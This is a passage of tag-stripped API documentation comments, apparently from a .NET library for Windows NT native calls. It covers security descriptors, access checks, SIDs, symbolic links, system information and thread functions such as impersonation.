descriptor + Indicates what parts of the security descriptor to include + True to throw on errror. + The SDDL string + Thrown if cannot convert to a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + True to throw on error. + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + True to throw on error. + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL string to a binary security descriptor + + The SDDL string + The binary security descriptor + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + True to throw on error. + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Convert an SDDL SID string to a Sid + + The SDDL SID string + The converted Sid + Thrown if cannot convert from a SDDL string. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + This function returns a list of results rather than a single entry. It should only be used + with object types. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The list of access check results. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + This function returns a list of results rather than a single entry. It should only be used + with object types. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The list of access check results. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + The type specific generic mapping (get from corresponding NtType entry). + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the maximum allowed access. + + The security descriptor + The access token. + The type specific generic mapping (get from corresponding NtType entry). + The maximum allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the maximum allowed access. + + The security descriptor + The access token. + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + The maximum allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access. + + The security descriptor + The access token. + The set of access rights to check against + The type used to determine generic access mapping.. + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the maximum allowed access. + + The security descriptor + The access token. + The type used to determine generic access mapping.. + The allowed access mask as a unsigned integer. + Thrown if an error occurred in the access check. + + + + Get a security descriptor from a named object. + + The path to the resource (such as \BaseNamedObejct\ABC) + The type of resource, can be null to get the method to try and discover the correct type. + The named resource security descriptor. Returns null if can't open the resource. + + + + Do an access check between a security descriptor and a token to determine the allowed access and + audit the result. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access and + audit the result. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access + and audit. This function returns a list of results rather than a single entry. It should only + be used with object types. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + True to throw on error. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Do an access check between a security descriptor and a token to determine the allowed access + and audit. This function returns a list of results rather than a single entry. It should only + be used with object types. + + The name of the subsystem to audit. + The handle ID to audit. Used when issuing a close audit. + The object type name. + The name of the object. + Indicates if this is an object creation operation. + Type of audit. + Flags for the audit operation. + The security descriptor + The access token. + The set of access rights to check against + An optional principal SID used to replace the SELF SID in a security descriptor. + The type specific generic mapping (get from corresponding NtType entry). + List of object types to check against. + The result of the access check. + Thrown if an error occurred in the access check. + + + + Get a SID for a specific mandatory integrity level. + + The mandatory integrity level. + The integrity SID + + + + Get a SID for a specific mandatory integrity level. + + The mandatory integrity level. + The integrity SID + + + + Checks if a SID is an integrity level SID + + The SID to check + True if an integrity SID + + + + Get the integrity level from an integrity SID + + The integrity SID + The token integrity level. + + + + Gets the SID for a service name. + + The service name. + The service SID. + Thrown on error. + + + + Checks if a SID is a service SID. + + The sid to check. + True if a service sid. + + + + Checks if a SID is a logon session SID. + + The sid to check. + True if a logon session sid. + + + + Checks if a SID is a process trust SID. + + The sid to check. + True if a process trust sid. + + + + Checks if a SID is a domain SID. + + The SID to check. + True if a domain SID. + + + + Checks if a SID is a domain SID and is a member of the local machine domain. + + The SID to check. + True if a domain SID. + + + + Checks if a SID is a capability SID. + + The sid to check. + True if a capability sid. + + + + Checks if a SID is a capbility group SID. + + The sid to check. + True if a capability group sid. + + + + Get a capability sid by name. + + The name of the capability. + True to throw on error. + The capability SID. + + + + Get a capability sid by name. + + The name of the capability. + The capability SID. + + + + Get a capability group sid by name. + + The name of the capability. + True to throw on error. + The capability SID. + + + + Get a capability group sid by name. + + The name of the capability. + The capability SID. + + + + Get the type of package sid. + + The sid to get type. + The package sid type, Unknown if invalid. + + + + Checks if a SID is a valid package SID. + + The sid to check. + True if a capability sid. + + + + Get the parent package SID for a child package SID. + + The child package SID. + The parent package SID. + Thrown if sid not a child package SID. + + + + Checks if a SID is a Scoped Policy ID SID. + + The SID to check. + True if a Scoped Policy ID SID. + + + + Converts conditional ACE data to an SDDL string + + The conditional application data. + True to throw on error. + The conditional ACE string. + + + + Converts conditional ACE data to an SDDL string + + The conditional application data. + The conditional ACE string. + + + + Converts a condition in SDDL format to an ACE application data. + + The condition in SDDL format. + The condition in ACE application data format. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + Specify resource attributes to add to the check. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + Specify resource attributes to add to the check. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in SDDL format. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + Specify resource attributes to add to the check. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + True to throw on error. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + Specify resource attributes to add to the check. + True if the conditional expression was a success. + + + + Evaluate a condition ACE expression. + + The Token to check against. + The conditional expression in binary format. + True if the conditional expression was a success. + + + + Get the cached signing level for a file. + + The handle to the file to query. + The cached signing level. + + + + Get the cached signing level for a file. + + The handle to the file to query. + True to throw on error. + The cached signing level. + + + + Get the cached singing level from the raw EA buffer. + + The EA buffer to read the cached signing level from. + The cached signing level. + Throw on error. + + + + Set the cached signing level for a file. + + The handle to the file to set the cache on. + Flags to set for the cache. + The signing level to cache + A list of source file for the cache. + Optional directory path to look for catalog files. + + + + Set the cached signing level for a file. + + The handle to the file to set the cache on. + Flags to set for the cache. + The signing level to cache + A list of source file for the cache. + Optional directory path to look for catalog files. + True to throw on error. + + + + Compare two signing levels. + + The current level. + The signing level to compare against. + True if the current level is above or equal to the signing level. + + + + Get readable name for a SID, if known. This covers sources of names such as LSASS lookup, capability names and package names. + + The SID to lookup. + True to bypass the internal cache and get the current name. + The name for the SID. Returns the SDDL form if no other name is known. + + + + Get readable name for a SID, if known. This covers sources of names such as LSASS lookup, capability names and package names. + + The SID to lookup. + The name for the SID. Returns the SDDL form if no other name is known. + This function will cache name lookups, this means the name might not reflect what's currently in LSASS if it's been changed. + + + + Add a SID name to the local name cache. + + The SID to add. + The SID's domain name. + The name of the account. + The name user value. + + + + Remove a SID name from the local cache. + + The SID to remove. + + + + Clear the SID name cache. + + + + + Get a logon session SID from an ID. + + The logon session ID. + The new logon session SID. + + + + Get a new logon session SID. + + The new logon session SID. + + + + Get session id from logon session SID. + + The logon session SID. + The logon session ID. + + + + Get security descriptor as a byte array + + Handle to the object to query. + What parts of the security descriptor to retrieve + True to throw on error. + The NT status result and security descriptor as a buffer. + + + + Set the object's security descriptor + + Handle to the object to set. + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + The NT status result. + + + + Do a privilege check on a token. + + A handle to a token object. + The list of privileges to check. + True to require all necessary privileges. + True to throw on error. + The privilege check result. + + + + Get the access mask for querying a specific security information class. + + The information class. + The access mask for the information. + + + + Get the access mask for setting a specific security information class. + + The information class. + The access mask for the information. + + + + Get whether an ACE type is an allowed ACE type. + + The ACE type. + True if an allowed ACE type. + + + + Get whether an ACE type is a denied ACE type. + + The ACE type. + True if a denied ACE type. + + + + Get whether an ACE type is an object ACE type. + + The ACE type. + True if an object ACE type. + + + + Get whether an ACE type is an audit ACE type. + + The ACE type. + True if an audit ACE type. + + + + Get whether an ACE type is used int the SACL. + + The ACE type. + True if a system ACE type. + + + + Get whether an ACE type is a callback type. + + The ACE type. + True if a callback type. + + + + Convert an access rights type to a string. + + The access mask to convert + The enumeration type for the string conversion + Set to true to use SDK style names. + The string version of the access + + + + Convert an access rights type to a string. + + The access mask to convert + The enumeration type for the string conversion + The string version of the access + + + + Convert an access rights type to a string. + + The access mask to convert + The string version of the access + + + + Convert an access rights type to a string. + + The access mask to convert + Set to true to use SDK style names. + The string version of the access + + + + Convert an enumerable access rights to a string + + The access mask. + Enum type to convert to string. + Generic mapping for object type. + True to try and convert to generic rights where possible. + The string format of the access rights. Will return Full Access if not a generic access and has all rights and None if no access. + + + + Convert an enumerable access rights to a string + + The access mask. + Enum type to convert to string. + Generic mapping for object type. + True to try and convert to generic rights where possible. + Set to true to use SDK style names. + The string format of the access rights. Will return Full Access if not a generic access and has all rights and None if no access. + + + + Convert an ACE type to an SDK type string. + + The ACE type. + The ACE type as an SDK type string. + + + + Convert the ACE flags to an SDK type string. + + The ACE type as an SDK type string. + + + + Convert the security descriptor control flags to an SDK type string. + + The security descriptor control as an SDK type string. + + + + Get a Process Trust Level SID. + + The Trust Type. + The Trust Level. + The Process Trust Level SID. + + + + Generate audit event for an object open. + + The subsystem name. + Handle ID. + The typename of the object. + The name of the object. + The security descriptor set for the object. + The client token used to open the object. + Desired access for the open. + Granted access from the open. + Privileges used to open the object. + True if the object was created. + Specify whether access was granted. + True to throw on error. + A value indicating whether an event need to be generated on close. + + + + Generate audit event for an object open. + + The subsystem name. + Handle ID. + The typename of the object. + The name of the object. + The security descriptor set for the object. + The client token used to open the object. + Desired access for the open. + Granted access from the open. + Privileges used to open the object. + True if the object was created. + Specify whether access was granted. + A value indicating whether an event need to be generated on close. + + + + Generate audit event for an object close. + + The subsystem name. + Handle ID. + True indicates to generate on close. + True to throw on error. + The NT status code. + + + + Generate audit event for an object close. + + The subsystem name. + Handle ID. + True indicates to generate on close. + The NT status code. + + + + Generate audit event for an object deleted. + + The subsystem name. + Handle ID. + True indicates to generate on close. + True to throw on error. + The NT status code. + + + + Generate audit event for an object deleted. + + The subsystem name. + Handle ID. + True indicates to generate on close. + + + + Generate audit event for a privileges used with an object. + + The subsystem name. + Handle ID. + The client token used. + Desired access for the object. + Privileges used to open the object. + Specify whether access was granted. + True to throw on error. + The NT status code. + + + + Generate audit event for a privileges used with an object. + + The subsystem name. + Handle ID. + The client token used. + Desired access for the object. + Privileges used to open the object. + Specify whether access was granted. + + + + Generate audit event for a privileges used by a client. + + The subsystem name. + The client token used. + The name of the service. + Privileges used in the operation. + Specify whether access was granted. + True to throw on error. + The NT status code. + + + + Generate audit event for a privileges used by a client. + + The subsystem name. + The client token used. + The name of the service. + Privileges used in the operation. + Specify whether access was granted. + + + + Perform a capability check for a token. + + Specify the token handle. If null will use the effective token. + The name of the capability to check. + True to throw on error. + True if the token has the capability. + + + + Perform a capability check for a token. + + Specify the token handle. If null will use the effective token. + The name of the capability to check. + True if the token has the capability. + + + + Get GenericMapping for standard access rights. + + + + + Security information class for security descriptors. + + + + + ACE Flags. Note that the value isn't completely the same as + the real flags. + + + + + Class to represent a NT Semaphore object. + + + + + Create a semaphore object. + + The object attributes for the object + The desired access for the object + Initial count for semaphore + Maximum count for semaphore + True to throw an exception on error. + The NT status code and object result. + + + + Create a semaphore object. + + The object attributes for the object + The desired access for the object + Initial count for semaphore + Maximum count for semaphore + The opened object + + + + Create a semaphore object. + + The path to the object + The root if path is relative + Initial count for semaphore + /// Maximum count for semaphore + The opened object + + + + Open a semaphore object. + + The object attributes for the object + The desired access for the object + True to throw an exception on error. + The NT status code and object result. + + + + Open a semaphore object. + + The object attributes for the object + The desired access for the object + The opened object + + + + Open a semaphore object. + + The path to the object + The root if path is relative + The desired access for the object + The opened object + + + + Release the semaphore + + The release count + The previous count + + + + Release the semaphore + + The release count + True to throw an exception on error. + The previous count + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Current count of the semaphore. + + + + + Maximum count of the semaphore. + + + + + Semaphore access rights. + + + + + Class to represent a Session object + + + + + Open a session object. + + The object attributes + Desired access for the object + True to throw on error. + The open result. + + + + Open a session object. + + The object attributes + Desired access for the object + The open result. + + + + Open a session object. + + Name of the object + Optional root directory for lookup + Desired access for the object + The open result. + + + + NT status values + + + + + Class representing a NT SymbolicLink object + + + + + Create a symbolic link object. + + The path to the object + The root if path is relative + The desired access for the object + The target path + The opened object + + + + Create a symbolic link object. + + The object attributes for the object + The desired access for the object + The target path + True to throw an exception on error. + The NT status code and object result. + + + + Create a symbolic link object. + + The object attributes for the object + The desired access for the object + The target path + The opened object + + + + Create a symbolic link object. + + The path to the object + The root if path is relative + The target path + The opened object + + + + Create a symbolic link object. + + The path to the object + The target path + The opened object + + + + Open a symbolic link object. + + The path to the object + The root if path is relative + The desired access for the object + The opened object + + + + Open a symbolic link object. + + The path to the object + The root if path is relative + The desired access for the object + True to throw on error. + The opened object + + + + Open a symbolic link object. + + The object attributes for the object + The desired access for the object + True to throw an exception on error. + The NT status code and object result. + + + + Open a symbolic link object. + + The object attributes for the object + The desired access for the object + The opened object + + + + Open a symbolic link object. + + The path to the object + The root if path is relative + The opened object + + + + Open a symbolic link object. + + The path to the object + The opened object + + + + Resolve a symlink name to a final target. + + The name of the symlink to resolve. + True to throw on error. + The final target. + This function will return the last name which returns STATUS_OBJECT_TYPE_MISMATCH. Anything else is an error. + + + + Resolve a symlink name to a final target. + + The name of the symlink to resolve. + The final target. + This function will return the last name which returns STATUS_OBJECT_TYPE_MISMATCH. Anything else is an error. + + + + Get the symbolic link target. + + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Set access mask filter. + + The access mask to set. + True to throw on error. + The NT status code. + Needs SeTcbPrivilege. + + + + Set access mask filter. + + The access mask to set. + Needs SeTcbPrivilege. + + + + Set as a global link. + + True to throw on error. + The NT status code. + Needs SeTcbPrivilege. + + + + Set as a global link. + + Needs SeTcbPrivilege. + + + + Get the symbolic link target path. + + True to throw on error. + The target path. + + + + Class to access some NT system information + + + + + Get a list of handles + + A process ID to filter on. If -1 will get all handles + True to allow the handles returned to query for certain properties + True to force all file names to be queried. Otherwise limits to only DISK files. + The list of handles + The purpose of force_file_name to disable querying a file handle for its path unless it's on a FS volume. + This is because some non-file types can be in a locked state which causes the filename lookup to hang. + + + + Get a list of handles + + A process ID to filter on. If -1 will get all handles + True to allow the handles returned to query for certain properties + The list of handles + + + + Get a list of all handles + + The list of handles + + + + Get a list of threads for a specific process. + + The process ID to list. + True to throw on error. + The list of thread information. + + + + Get a list of threads for a specific process. + + The process ID to list. + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get a list of threads for a specific process. + + The process ID to list. + True to throw on error. + The list of thread information. + + + + Get a list of threads for a specific process. + + The process ID to list. + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get a list of all threads. + + The list of thread information. + + + + Get all process information for the system. + + The list of process information. + + + + Get all process information for the system. + + True to throw on error. + The list of process information. + + + + Get all process information for the system. + + The list of process information. + + + + Get all process information for the system. + + True to throw on error. + The list of process information. + + + + Get all process information for the system. + + The list of process information. + + + + Get all process information for the system. + + True to throw on error. + The list of process information. + + + + Get list of page filenames. + + The list of page file names. + + + + Create a kernel dump for current system. + + The path to the output file. + Flags + Page flags + + + + Query all system environment value names. + + A list of names of environment values + + + + Query all system environment value names and values. + + A list of names of environment values + + + + Query a single system environment value. + + The name of the value. + The associated vendor guid + True to throw on error. + The system environment value. + + + + Query a single system environment value. + + The name of the value. + The associated vendor guid + The system environment value. + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Set a system environment variable. + + The name of the variable. + The vendor GUID + The value to set + Attributes of the value + + + + Allocate a LUID. + + The allocated LUID. + + + + Allocate a LUID. + + The allocated LUID. + + + + Get the addresses of a list of objects from the handle table and initialize the Address property. + + The list of objects to initialize. + + + + Get the address of an object in kernel memory from the handle table and initialize the Address property. + + The object. + + + + Get the address of an object in kernel memory from the handle table and initialize the Address property. + + The object. + Any remaining objects. + + + + Query whether a file is trusted for dynamic code. + + The handle to a file to query. + Pointer to a memory buffer containing the image. + The size of the in-memory buffer. + True if the file is trusted. + + + + Query whether a file is trusted for dynamic code. + + Pointer to a memory buffer containing the image. + The status code from the operation. Returns STATUS_SUCCESS is valid. + + + + Query whether a file is trusted for dynamic code. + + The handle to a file to query. + The status code from the operation. Returns STATUS_SUCCESS is valid. + + + + Set a file is trusted for dynamic code. + + The handle to a file to set. + The status code from the operation. + + + + Get list of root silos. + + The list of root silos. + + + + Set the ELAM certificate information. + + The signed file containing an ELAM certificate resource. + The NT status code. + + + + Query code integrity certificate information. + + The image file. + The type of check to make. + The NT status code. + + + + Query the image path from a process ID. + + The ID of the process. + True to throw on error. + The image path. + This method can be called without any permissions on the process. + + + + Query the image path from a process ID. + + The ID of the process. + The image path. + This method can be called without any permissions on the process. + + + + Get flags for isolated user mode. + + True to throw on error. + The ISO flags. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + A buffer to initialize the initial query. Can be null. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object and return as bytes. + + The information class to query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a variable buffer from the object. + + The type of structure to return. + The information class to query. + The result of the query. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. If you specify a SafeBuffer then it'll be passed directly. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object. + + The type of structure to set. + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer. + + The information class to set. + The value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a value to the object from a buffer.. + + The information class to set. + The value to set. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + True to throw on error. + The NT status code of the set. + Thrown on error. + + + + Set a raw value to the object. + + The information class to set. + The raw value to set. + The NT status code of the set. + Thrown on error. + + + + Draw text on the background. + + The text to draw. + True to throw on error. + The NT status code. + + + + Draw text on the background. + + The text to draw. + + + + Display a string. + + The text to display. + True to throw on error. + The NT status code. + + + + Display a string. + + The text to display. + + + + Load a driver. + + The name of the driver service. + True to throw on error. + The NT status code. + + + + Unload a driver. + + The name of the driver service. + True to throw on error. + The NT status code. + + + + Get kernel modules. + + True to throw on error. + The list of kernel modules. + + + + Get kernel modules. + + The list of kernel modules. + + + + Get whether the kernel debugger is enabled. + + + + + Get whether the kernel debugger is not present. + + + + + Get current code integrity option settings. + + + + + Get code integrity policy. + + + + + Get code integrity unlock information. + + + + + Get all code integrity policies. + + + + + Get whether secure boot is enabled. + + + + + Get whether system supports secure boot. + + + + + Extract the secure boot policy. + + + + + Get system timer resolution. + + + + + Get system page size. + + + + + Get number of physical pages. + + + + + Get lowest page number. + + + + + Get highest page number. + + + + + Get allocation granularity. + + + + + Get minimum user mode address. + + + + + Get maximum user mode address. + + + + + Get active processor affinity mask. + + + + + Get number of processors. + + + + + Get system device information. + + + + + Get the system processor information. + + + + + Get the system emulation processor information. + + + + + Get the Isolated User Mode flags. + + + + + Get the NT product type. + + + + + + Get OS version info, + + + + + Get whether this is a multi-session SKU. + + True if multi-session. + + + + Get whether this there are multiple users in a session. + + True if multi-session. + + + + Query the system elevation flags. + + + + + Class to represent a NT Thread object + + + + + Create a new thread in a process. + + The object attributes for the thread object. + Desired access for the handle. + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Zero bits for the stack address. + Size of the committed stack. + Maximum reserved stack size. + Optional attribute list. + True to throw on error + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Create a new thread in a process. + + The object attributes for the thread object. + Desired access for the handle. + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Zero bits for the stack address. + Size of the committed stack. + Maximum reserved stack size. + Optional attribute list. + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Create a new thread in a process. + + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Size of the committed stack. + True to throw on error + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Create a new thread in a process. + + Process to create the thread in. + Address of the start routine. + Argument to pass to the thread. + Creation flags. + Size of the committed stack. + The created thread object. + This creates a native thread, not a Win32 thread. This might cause unexpected things to fail as they're not initialized. + + + + Open a thread + + The process ID containing the thread. + The thread ID to open + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a thread + + The thread ID to open + The desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Open a thread + + The process ID containing the thread. + The thread ID to open + The desired access for the handle + The NT status code and object result. + + + + Open a thread + + The thread ID to open + The desired access for the handle + The opened object + + + + Gets all accessible threads on the system. + + The desired access for each thread. + Get the thread list from system information. + The list of accessible threads. + + + + Gets all accessible threads on the system. + + The desired access for each thread. + The list of accessible threads. + + + + Get first thread for process. + + The process handle to get the threads. + The desired access for the thread. + The first thread, or null if no more available. + + + + Sleep the current thread + + Set if the thread should be alertable + The delay, negative values indicate relative times. + True to throw on error. + STATUS_ALERTED if the thread was alerted, other success or error code. + + + + Sleep the current thread + + Set if the thread should be alertable + The delay, negative values indicate relative times. + True if the thread was alerted before the delay expired. + + + + Sleep the current thread + + Set if the thread should be alertable + The delay, negative values indicate relative times. + True if the thread was alerted before the delay expired. + + + + Sleep the current thread for a specified number of milliseconds. + + The delay in milliseconds. + True if the thread was alerted before the delay expired. + + + + Open an actual handle to the current thread rather than the pseudo one used for Current + + The thread object + + + + Set the work on behalf ticket. + + The ticket to set. + True to throw on error. + The status code from the set. + + + + Set the work on behalf ticket. + + The ticket to set. + + + + Set the work on behalf ticket. + + The ticket to set. + True to throw on error. + The status code from the set. + + + + Set the work on behalf ticket. + + The ticket to set. + + + + Set the work on behalf ticket. + + The thread ID. + True to throw on error. + The NT status. + + + + Set the work on behalf ticket. + + The thread ID. + + + + Test alert status for the current thread. + + True to throw on error. + The NT status code. + + + + Test alert status for the current thread. + + + + + Attach a silo container to the current thread. + + The silo to attach. + True to throw on error. + The thread impersonation context. + + + + Attach a silo container to the current thread. + + The silo to attach. + The thread impersonation context. + + + + Detach container from the current thread. + + True to throw on error. + The NT status code. + + + + Detach container from the current thread. + + + + + Get XOR key for the work-on-behalf ticket. + + True to throw on error. + The XOR key. + + + + Get the current thread. + + This only uses the pseudo handle, for the thread. You can't use it in different threads. If you need to do that use OpenCurrent. + + + + + Get or set the work on behalf ticket for the current thread. + + + + + Get the work on behalf ticket xor key. + + + + + Reopen object with different access rights. + + The desired access. + Additional attributes for open. + True to throw on error. + The reopened object. + + + + Resume the thread. + + True to throw on error. + The suspend count + + + + Resume the thread. + + The suspend count + + + + Suspend the thread. + + True to throw on error. + The suspend count + + + + Suspend the thread + + The suspend count + + + + Terminate the thread + + True to throw on error. + The thread status exit code + The NT status code. + + + + Terminate the thread + + The thread status exit code + + + + Wake the thread from an alertable state. + + True to throw on error. + The NT status code. + + + + Wake the thread from an alertable state. + + + + + Wake the thread from an alertable state and resume the thread. + + True to throw on error. + The previous suspend count for the thread. + + + + Wake the thread from an alertable state and resume the thread. + + The previous suspend count for the thread. + + + + Hide the thread from debug events. + + True to throw on error. + The NT status code. + + + + Hide the thread from debug events. + + + + + The set the thread's impersonation token + + The impersonation token to set + True to throw on error. + The NT status code. + + + + The set the thread's impersonation token + + The impersonation token to set + + + + Impersonate the anonymous token + + True to throw on error. + The impersonation context. Dispose to revert to self + + + + Impersonate the anonymous token + + The impersonation context. Dispose to revert to self + + + + Impersonate a token + + True to throw on error. + The token to impersonate. + The impersonation context. Dispose to revert to self + + + + Impersonate a token + + The token to impersonate. + The impersonation context. Dispose to revert to self + + + + Impersonate another thread. + + The thread to impersonate. + The impersonation security quality of service. + True to throw on error. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context. + + The thread to impersonate. + The impersonation level for the token. + True to throw on error. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context. + + The thread to impersonate. + The impersonation level for the token. + The imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context at impersonation level. + + The thread to impersonate. + True to throw on error. + The 